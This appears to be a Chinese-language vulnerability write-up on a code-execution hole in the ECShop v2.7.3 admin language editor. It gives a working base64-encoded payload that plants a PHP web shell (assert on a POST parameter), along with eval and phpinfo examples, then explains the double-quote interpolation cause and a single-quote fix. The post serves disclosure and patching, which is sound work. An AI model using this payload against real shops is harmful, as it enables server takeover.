- 測試版本
- 漏洞條件
- 漏洞利用
- 產生原因
- 修復方案
1.測試版本
v2.7.3 RELEASE 20121106(最新)
v2.7.3 RELEASE 20120411
2.漏洞條件
需登錄到后台
3.漏洞利用
1) 登陸到台后,選擇模板管理,語言項編輯,搜索“用戶信息”
為什么要搜索“用戶信息”,還可以搜索其它的嗎?
答案是搜索languages\zh_cn\user.php
文件里任何一個變量都可以
2) 添加如下后門,將用戶信息改為
用戶信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}
即生成一個JoyChou.php文件,內容為:
<?php assert( $_POST[x] ); ?>
3) 訪問user.php即可產生shell(不用注冊登錄賬戶)
http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php
或
http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php
4.產生原因
在admin\edit_languages.php文件中第120行,修改變量內容,注意是用的雙引號。
for ($i = 0; $i < count($_POST['item_id']); $i++) { /* 語言項內容如果為空,不修改 */ if (trim($_POST['item_content'][$i]) == '') { unset($src_items[$i]); } else { $_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]); /* $_POST['item_content'][$i]是修改后增加的內容,即增加的"用戶信息${${fputs(fopen"等內容 $dst_items[$i] 是 $_LANG['label_profile'] = "用戶信息${${fputs(fopen"; */ $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";'; } }
修改完后文件\languages\zh_cn\user.php變量為:注意是雙引號哦
$_LANG['label_profile'] = "用戶信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}";
由於是雙引號,所以只要在任意的php文件中引用這個變量,代碼就會成功執行。
至於為什么可以執行?原理如下:
下面這三句話都可以執行,與其說代碼執行,不如說參數執行。
<?php $a = "${ phpinfo()}"; // 有一個空格 $b = "{${phpinfo()}}"; // 多一對{},但是沒有空格 $c = "{${fputs(fopen("JoyChou.php", "w+"), "<?php eval(\$_POST[1]);?>")}}"; $d = "asdf{${phpinfo()}}"; // {字符前可以隨意加字符串 ?>
而http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php這個文件包含\languages\zh_cn\user.php 這個文件,所以也可以代碼執行。
/* 載入語言文件 */ require_once(ROOT_PATH . 'languages/' .$_CFG['lang']. '/user.php');
5.漏洞修復
了解了漏洞原理后,修復就是一件比較簡單的事情,只需將雙引號改為單引號
修改\admin\edit_languages.php
// 修復前 $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";'; // 修復后,由於想在單引號之間出現單引號,必須使用轉義。 $dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';
再次訪問http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php已經不能生成JoyChou.php,代碼沒能得到執行。
注:這個注入漏洞很老,但一直存在。我從模板堂下載的ECShop最新版,就含有此漏洞。網站搭建在阿里雲,提示服務器上ECShop有注入漏洞,查看后才發現。雖然我已經及時修復,但更多用戶可能未曾留意或者沒技術支持吧。